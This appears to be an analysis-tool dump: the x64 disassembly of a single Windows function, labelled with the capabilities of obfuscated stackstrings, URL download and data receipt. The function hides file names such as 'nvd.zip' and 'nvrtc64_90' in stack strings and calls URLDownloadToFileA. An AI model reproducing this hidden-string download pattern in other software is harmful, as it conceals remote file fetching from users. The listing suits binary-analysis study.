Function at 0x14000bad0
Capabilities:
Contain obfuscated stackstrings
Download url
Receive data

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rsp + 0x1d0], rbx
mov rax, qword [0x140001178]
xor rax, rsp
mov qword [rbp + 0x78], rax
mov r14, rdx
mov qword [rsp + 0x68], rdx
mov rdi, rcx
mov qword [rsp + 0x70], rcx
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x78], rdx
xor r13d, r13d
mov qword [rbp + 0x48], r13
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], r13b
mov qword [rbp + 0x68], r13
mov qword [rbp + 0x70], 0xf
mov byte [rbp + 0x58], r13b
mov dword [rbp - 0x70], 0x2e64766e
mov word [rbp - 0x6c], 0x697a
mov byte [rbp - 0x6a], 0x70
lea r8d, [r13 + 7]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x58]
call fcn.14000b980
mov dword [rsp + 0x58], 3
lea r12, [r13 - 1]
lea rcx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0x10
cmovae rcx, qword [rbp + 0x58]
lea rdx, [0x140001e5c]
call fcn.1400157d4
test rax, rax
jne 0x14000c3c3
mov r15d, r13d
mov dword [rsp + 0x30], r13d
movdqa xmm0, xmmword [0x140001f20]
movdqu xmmword [rbp - 0x38], xmm0
movdqa xmm1, xmmword [0x140001f80]
movdqu xmmword [rbp - 0x28], xmm1
mov dword [rbp - 0x18], 0x632e7420
mov dword [rbp - 0x14], 0x2f206261
mov byte [rbp - 0x10], 0x61
mov rcx, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 0x29
jb 0x14000bc0b
lea rax, [rcx + 0x29]
mov qword [rbp + 0x48], rax
lea rbx, [rbp + 0x38]
cmp rdx, 0x10
cmovae rbx, qword [rbp + 0x38]
add rbx, rcx
mov r8d, 0x29
lea rdx, [rbp - 0x38]
mov rcx, rbx
call fcn.140012a50
mov byte [rbx + 0x29], 0
jmp 0x14000bc28
mov qword [rsp + 0x20], 0x29
lea r9, [rbp - 0x38]
xor r8d, r8d
lea edx, [r8 + 0x29]
lea rcx, [rbp + 0x38]
call fcn.14000a940
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x14000bc35
mov rdx, qword [rdi]
lea rcx, [0x140001e68]
call fcn.14000dee0
mov dword [rbp - 0x70], 0x61632e74
mov word [rbp - 0x6c], 0x62
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x14000bc5b
mov rdx, qword [rdi]
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp - 0x70]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae rdx, qword [rbp + 0x38]
lea rcx, [rbp - 0x38]
call fcn.14000c580
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x14000bcc0
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bcbb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c532
call fcn.14001132c
mov rcx, r14
mov rsi, qword [r14 + 0x18]
cmp rsi, 0x10
jb 0x14000bcd0
mov rcx, qword [r14]
mov rbx, qword [r14 + 0x10]
mov rdi, rbx
cmp rbx, 1
mov eax, 1
cmova rdi, rax
mov r8, rdi
lea rdx, [0x140001e6c]
call fcn.140012950
test eax, eax
jne 0x14000bfa6
cmp rbx, 1
jae 0x14000bd06
mov eax, r12d
jmp 0x14000bd0c
mov eax, r13d
seta al
test eax, eax
jne 0x14000bfa6
mov dword [rbp - 0x68], 0x7472766e
mov dword [rbp - 0x64], 0x5f343663
mov word [rbp - 0x60], 0x3038
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], al
lea r8d, [rax + 0xa]
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x18]
call fcn.14000b980
nop
mov qword [rbp + 8], r13
mov qword [rbp + 0x10], r13
lea rsi, [rbp + 0x18]
mov r14, qword [rbp + 0x18]
mov r12, qword [rbp + 0x30]
cmp r12, 0x10
cmovae rsi, r14
mov rdi, qword [rbp + 0x28]
cmp rdi, 0x10
jae 0x14000bd80
movups xmm0, xmmword [rsi]
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 0x10], 0xf
jmp 0x14000bdfe
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rax, [rbx + 1]
cmp rax, 0x1000
jb 0x14000bdd5
lea rcx, [rax + 0x27]
cmp rcx, rax
mov rax, 0xffffffffffffffff
cmovbe rcx, rax
call fcn.1400112f0
mov rcx, rax
test rax, rax
je 0x14000c538
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000bde7
test rax, rax
je 0x14000bde4
mov rcx, rax
call fcn.1400112f0
jmp 0x14000bde7
mov rax, r13
mov qword [rbp - 8], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.140012a50
mov qword [rbp + 0x10], rbx
mov qword [rbp + 8], rdi
lea rcx, [rbp - 8]
call fcn.14000d330
movdqa xmm0, xmmword [0x140001f40]
movdqu xmmword [rbp - 8], xmm0
mov word [rbp + 8], 0x385f
mov byte [rbp + 0xa], 0x30
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], 0
mov r8d, 0x13
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x38]
call fcn.14000b980
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
lea r15, [rbp - 0x38]
mov rdi, qword [rbp - 0x38]
mov r13, qword [rbp - 0x20]
cmp r13, 0x10
cmovae r15, rdi
mov rsi, qword [rbp - 0x28]
cmp rsi, 0x10
jae 0x14000be82
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x50], 0xf
jmp 0x14000befd
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rax, [rbx + 1]
cmp rax, 0x1000
jb 0x14000bed7
lea rcx, [rax + 0x27]
cmp rcx, rax
mov rax, 0xffffffffffffffff
cmovbe rcx, rax
call fcn.1400112f0
mov rcx, rax
test rax, rax
je 0x14000c53e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000bee4
test rax, rax
je 0x14000bee4
mov rcx, rax
call fcn.1400112f0
mov qword [rsp + 0x38], rax
lea r8, [rsi + 1]
mov rdx, r15
mov rcx, rax
call fcn.140012a50
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rsi
lea rcx, [rsp + 0x38]
call fcn.14000d330
nop
cmp r13, 0x10
jb 0x14000bf45
lea rdx, [r13 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000bf3c
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c544
mov rcx, rdi
call fcn.14001132c
nop
cmp r12, 0x10
jb 0x14000bf7d
lea rdx, [r12 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14000bf75
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c54a
mov rcx, r14
call fcn.14001132c
mov r12, 0xffffffffffffffff
xor r13d, r13d
mov r15d, dword [rsp + 0x30]
mov r14, qword [rsp + 0x68]
sub dword [rsp + 0x58], 1
mov rdi, qword [rsp + 0x70]
je 0x14000c3d1
jmp 0x14000bb70
mov rcx, r14
cmp rsi, 0x10
jb 0x14000bfb2
mov rcx, qword [r14]
mov r8, rdi
lea rdx, [0x140001e70]
call fcn.140012950
test eax, eax
jne 0x14000c25b
cmp rbx, 1
jae 0x14000bfd4
mov eax, r12d
jmp 0x14000bfda
mov eax, r13d
seta al
test eax, eax
jne 0x14000c25b
mov dword [rbp - 0x58], 0x7472766e
mov dword [rbp - 0x54], 0x5f343663
mov word [rbp - 0x50], 0x3039
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], al
lea r8d, [rax + 0xa]
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x38]
call fcn.14000b980
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
lea rsi, [rbp - 0x38]
mov r14, qword [rbp - 0x38]
mov r12, qword [rbp - 0x20]
cmp r12, 0x10
cmovae rsi, r14
mov rdi, qword [rbp - 0x28]
cmp rdi, 0x10
jae 0x14000c055
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x50], 0xf
jmp 0x14000c0d5
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rax, [rbx + 1]
cmp rax, 0x1000
jb 0x14000c0aa
lea rcx, [rax + 0x27]
cmp rcx, rax
mov rax, 0xffffffffffffffff
cmovbe rcx, rax
call fcn.1400112f0
mov rcx, rax
test rax, rax
je 0x14000c550
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000c0bc
test rax, rax
je 0x14000c0b9
mov rcx, rax
call fcn.1400112f0
jmp 0x14000c0bc
mov rax, r13
mov qword [rsp + 0x38], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.140012a50
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rdi
lea rcx, [rsp + 0x38]
call fcn.14000d330
movdqa xmm0, xmmword [0x140001f40]
movdqu xmmword [rbp - 8], xmm0
mov word [rbp + 8], 0x395f
mov byte [rbp + 0xa], 0x30
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], 0
mov r8d, 0x13
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x18]
call fcn.14000b980
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
lea r15, [rbp + 0x18]
mov rdi, qword [rbp + 0x18]
mov r13, qword [rbp + 0x30]
cmp r13, 0x10
cmovae r15, rdi
mov rsi, qword [rbp + 0x28]
cmp rsi, 0x10
jae 0x14000c15b
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x50], 0xf
jmp 0x14000c1d6
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rax, [rbx + 1]
cmp rax, 0x1000
jb 0x14000c1b0
lea rcx, [rax + 0x27]
cmp rcx, rax
mov rax, 0xffffffffffffffff
cmovbe rcx, rax
call fcn.1400112f0
mov rcx, rax
test rax, rax
je 0x14000c556
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000c1bd
test rax, rax
je 0x14000c1bd
mov rcx, rax
call fcn.1400112f0
mov qword [rsp + 0x38], rax
lea r8, [rsi + 1]
mov rdx, r15
mov rcx, rax
call fcn.140012a50
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rsi
lea rcx, [rsp + 0x38]
call fcn.14000d330
nop
cmp r13, 0x10
jb 0x14000c21e
lea rdx, [r13 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000c215
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c55c
mov rcx, rdi
call fcn.14001132c
nop
cmp r12, 0x10
jb 0x14000bf7d
lea rdx, [r12 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14000bf75
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c526
jmp 0x14000bf75
mov rcx, r14
cmp rsi, 0x10
jb 0x14000c267
mov rcx, qword [r14]
mov r8, rbx
cmp rbx, 2
mov eax, 2
cmova r8, rax
lea rdx, [0x140001e74]
call fcn.140012950
test eax, eax
jne 0x14000bf91
cmp rbx, 2
jae 0x14000c296
mov eax, r12d
jmp 0x14000c29c
mov eax, r13d
seta al
test eax, eax
jne 0x14000bf91
mov dword [rbp - 0x48], 0x7472766e
mov dword [rbp - 0x44], 0x5f343663
mov dword [rbp - 0x40], 0x5f303031
mov byte [rbp - 0x3c], 0x30
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], al
lea r8d, [rax + 0xd]
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x18]
call fcn.14000b980
nop
lea rdx, [rbp + 0x18]
lea rcx, [rsp + 0x38]
call fcn.14000aac0
mov rcx, rax
call fcn.14000d330
movdqa xmm0, xmmword [0x140001f40]
movdqu xmmword [rbp - 8], xmm0
mov dword [rbp + 8], 0x3030315f
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], 0
mov r8d, 0x14
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x38]
call fcn.14000b980
nop
lea rdx, [rbp - 0x38]
lea rcx, [rsp + 0x38]
call fcn.14000aac0
mov rcx, rax
call fcn.14000d330
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x14000c37f
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c379
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c562
call fcn.14001132c
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x14000bf91
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c3b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c568
call fcn.14001132c
jmp 0x14000bf91
mov rcx, rax
call fcn.140015698
mov r15d, 1
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x14000c40c
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c407
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c56e
call fcn.14001132c
mov qword [rbp + 0x68], r13
mov qword [rbp + 0x70], 0xf
mov byte [rbp + 0x58], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x14000c457
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c452
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c574
call fcn.14001132c
mov qword [rbp + 0x48], r13
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000c4a1
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x14000c49c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000c520
mov rcx, r8
call fcn.14001132c
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x14000c4e6
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x14000c4e1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000c52c
mov rcx, r8
call fcn.14001132c
mov qword [r14 + 0x10], r13
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov eax, r15d
mov rcx, qword [rbp + 0x78]
xor rcx, rsp
call fcn.140011700
mov rbx, qword [rsp + 0x1d0]
add rsp, 0x180
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400153f4
nop
call fcn.1400153f4
nop
call fcn.1400153f4
nop
call fcn.1400153f4
nop
call fcn.1400153f4
nop
call fcn.1400153f4
nop
call fcn.1400153f4
nop
call fcn.1400153f4
nop
call fcn.1400153f4
nop
call fcn.1400153f4
nop
call fcn.1400153f4
nop
call fcn.1400153f4
nop
call fcn.1400153f4
nop
call fcn.1400153f4
nop
call fcn.1400153f4
int3